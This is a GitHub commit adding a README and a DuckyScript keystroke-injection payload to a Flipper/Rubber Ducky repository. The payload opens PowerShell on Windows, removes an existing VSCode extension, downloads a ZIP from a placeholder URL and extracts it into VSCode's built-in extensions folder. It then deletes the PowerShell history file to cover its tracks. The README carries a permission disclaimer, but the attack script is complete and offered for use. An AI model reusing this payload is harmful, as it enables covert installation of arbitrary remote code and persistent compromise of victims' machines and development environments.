-
-
Notifications
You must be signed in to change notification settings - Fork 94
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Install Any Arbitrary VSCode Extension
This DuckyScript script is designed to automate the installation of any arbitrary Visual Studio Code (VSCode) extension on Windows 10. It performs the following tasks: 1. Removes any pre-existing version of the extension (if applicable). 2. Downloads a ZIP archive of a VSCode extension. 3. Extracts the extension to the correct VSCode extensions folder. The script makes use of PowerShell to manage file paths and execute commands necessary for the installation process. The user must provide the name of the extension folder and the link to the ZIP archive containing the extension.
- Loading branch information
1 parent
9581f97
commit 29becaf
Showing
4 changed files
with
210 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
107 changes: 107 additions & 0 deletions
107
Windows/Execution/Install_Any_Arbitrary_VSCode_Extension/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,107 @@ | ||
| # Install Any Arbitrary VSCode Extension | ||
|
|
||
| [](https://github.com/aleff-github/my-flipper-shits) | ||
|
|
||
| **Category**: Execution | ||
|
|
||
| <div align=center> | ||
|
|
||
| <img src="https://github.com/aleff-github/my-flipper-shits/blob/main/img/logo-repository-2_0.gif" width="600" /><br><img src="https://github.com/aleff-github/my-flipper-shits/blob/main/img/DISCLAIMER.png" width="600" /> | ||
|
|
||
| </div> | ||
|
|
||
| This DuckyScript script is designed to automate the installation of any arbitrary Visual Studio Code (VSCode) extension on Windows 10. It performs the following tasks: | ||
|
|
||
| 1. Removes any pre-existing version of the extension (if applicable). | ||
| 2. Downloads a ZIP archive of a VSCode extension. | ||
| 3. Extracts the extension to the correct VSCode extensions folder. | ||
|
|
||
| The script makes use of PowerShell to manage file paths and execute commands necessary for the installation process. The user must provide the name of the extension folder and the link to the ZIP archive containing the extension. | ||
|
|
||
| ## First Of All! | ||
|
|
||
| Installing Arbotrary Visual Studio Code (VSCode) extensions can pose cybersecurity risks because extensions, often developed by third parties, have access to critical functionalities of the editor and the operating system. A malicious extension could execute harmful code, access local files, or exfiltrate sensitive data without the user's knowledge. Additionally, if extensions are not from trusted sources or are not regularly updated, they may contain vulnerabilities that attackers can exploit, compromising the security of both the system and the entire development environment. | ||
|
|
||
| So... | ||
| - Before doing these tests make sure you have full permission from the owner of the computer in case it is not you. | ||
| - Always check the source and source code before doing this | ||
| - If even one line of code is not clear to you, you should not proceed at all because it takes only a little to do damage. | ||
|
|
||
| ## Features | ||
|
|
||
| - Installs a VSCode extension by downloading a ZIP file and extracting it to the correct location. | ||
| - Removes any previous version of the extension. | ||
| - Completely automated, requiring no manual intervention once the script is executed. | ||
|
|
||
| ## Requirements | ||
|
|
||
| - **Target OS**: Windows 10/11 | ||
| - **VSCode Path**: The script assumes that VSCode is installed in its default location. If it is installed in a different location, the paths in the script may need to be updated. | ||
| - **Compilation**: Make sure that the extension you are going to install has the out folder inside, that is, the folder that is generated as a result of compilation. Without this folder the extension cannot be loaded properly. | ||
| - **Internet Connection**: This is mandatory in case you want to download the archive from the Internet, whereas if you want to download from a server in the intranet you only need to be connected to the local network. This basically depends on the individual case.... | ||
|
|
||
| ## Usage | ||
|
|
||
| ### DuckyScript Configuration | ||
|
|
||
| Before running the script, make sure to configure the following two variables in the script: | ||
|
|
||
| 1. `#EXTENSION_NAME`: Replace all occurrences with the name of the folder where the extension will be installed. | ||
| ```plaintext | ||
| STRING #EXTENSION_NAME | ||
| ``` | ||
| Example: If the extension folder name is `DuckyScriptCookbook`, then replace `example` with `DuckyScriptCookbook`. | ||
| 2. `https://example.com/path/to/NewExtension.zip`: Replace this with the actual URL to the ZIP file of the VSCode extension you want to install. | ||
| ```plaintext | ||
| STRING $url = "https://example.com/path/to/NewExtension.zip" | ||
| ``` | ||
| ### PowerShell Commands Breakdown | ||
| - **Detecting and Removing Previous Extension**: The script checks if an official version of the extension is already installed and removes it: | ||
| ```powershell | ||
| $extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME" | ||
| if (Test-Path -Path $extensionsPath -PathType Container) { | ||
| Remove-Item -Recurse -Force -Path $extensionsPath | ||
| } | ||
| ``` | ||
| - **Downloading and Extracting the New Extension**: The script downloads the extension from the link provided inside a temporary folder and extracts it inside the official (the default) VSCode extensions folder: | ||
| ```powershell | ||
| $url = "https://example.com/path/to/NewExtension.zip" | ||
| $downloadPath = "$env:TEMP\NewExtension.zip" | ||
| $extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME" | ||
| Invoke-WebRequest -Uri $url -OutFile $downloadPath | ||
| if (Test-Path -Path $downloadPath) { | ||
| Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force | ||
| Remove-Item -Path $downloadPath -Force | ||
| } | ||
| ``` | ||
| ## Notes | ||
| - Ensure that the ZIP file is structured properly (i.e., it contains all necessary files for the extension) before attempting to install. | ||
| - Make sure that PowerShell is available on the target machine. | ||
| - This script is intended for Windows 10/11 systems. Compatibility with other versions of Windows has not been tested. | ||
| ## Credits | ||
| <h2 align="center"> Aleff :octocat: </h2> | ||
| <div align=center> | ||
| <table> | ||
| <tr> | ||
| <td align="center" width="96"> | ||
| <a href="https://github.com/aleff-github"> | ||
| <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" /> | ||
| </a> | ||
| <br>Github | ||
| </td> | ||
| <td align="center" width="96"> | ||
| <a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/"> | ||
| <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" /> | ||
| </a> | ||
| <br>Linkedin | ||
| </td> | ||
| </tr> | ||
| </table> | ||
| </div> |
82 changes: 82 additions & 0 deletions
82
Windows/Execution/Install_Any_Arbitrary_VSCode_Extension/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,82 @@ | ||
| REM ########################################################## | ||
| REM # # | ||
| REM # Title : Install Any Arbitrary VSCode Extension # | ||
| REM # Author : Aleff # | ||
| REM # Version : 1.0 # | ||
| REM # Category : Execution # | ||
| REM # Target : Windows 10 # | ||
| REM # # | ||
| REM ########################################################## | ||
|
|
||
| DELAY 2000 | ||
| GUI r | ||
| DELAY 1000 | ||
| STRING PowerShell | ||
| ENTER | ||
| DELAY 1000 | ||
|
|
||
| STRING $extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\ | ||
|
|
||
| REM Replace “#EXTENSION_NAME” with the name of the extension folder to check if it already exists in order to delete it | ||
| STRING #EXTENSION_NAME | ||
|
|
||
| STRING " | ||
| ENTER | ||
|
|
||
| STRING if (Test-Path -Path $extensionsPath -PathType Container) { | ||
| ENTER | ||
| DELAY 250 | ||
| STRING Remove-Item -Recurse -Force -Path $extensionsPath | ||
| ENTER | ||
| DELAY 250 | ||
| STRING } | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| REM Replace “https://example.com/path/to/NewExtension.zip” with the link to the zipper archive containing the extension you want to install | ||
| STRING $url = "https://example.com/path/to/NewExtension.zip" | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| REM It will download within a temporary folder and only after downloading will it be extracted to the extensions folder | ||
| STRING $downloadPath = "$env:TEMP\NewExtension.zip" | ||
| ENTER | ||
| DELAY 250 | ||
| STRING $extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\ | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| REM Replace again "#EXTENSION_NAME" with the official extension name | ||
| STRING #EXTENSION_NAME | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| STRING " | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| STRING Invoke-WebRequest -Uri $url -OutFile $downloadPath | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| REM Check if the file was downloaded correctly | ||
| STRING if (Test-Path -Path $downloadPath) { | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| REM Extract the contents of the zipper file into the extensions directory | ||
| STRING Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| STRING Remove-Item -Path $downloadPath -Force | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| REM Clear the command history in PowerShell by deleting the history file | ||
| STRING Remove-Item (Get-PSReadlineOption).HistorySavePath; exit | ||
| ENTER | ||
| DELAY 250 | ||
|
|
||
| STRING } | ||
| ENTER |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters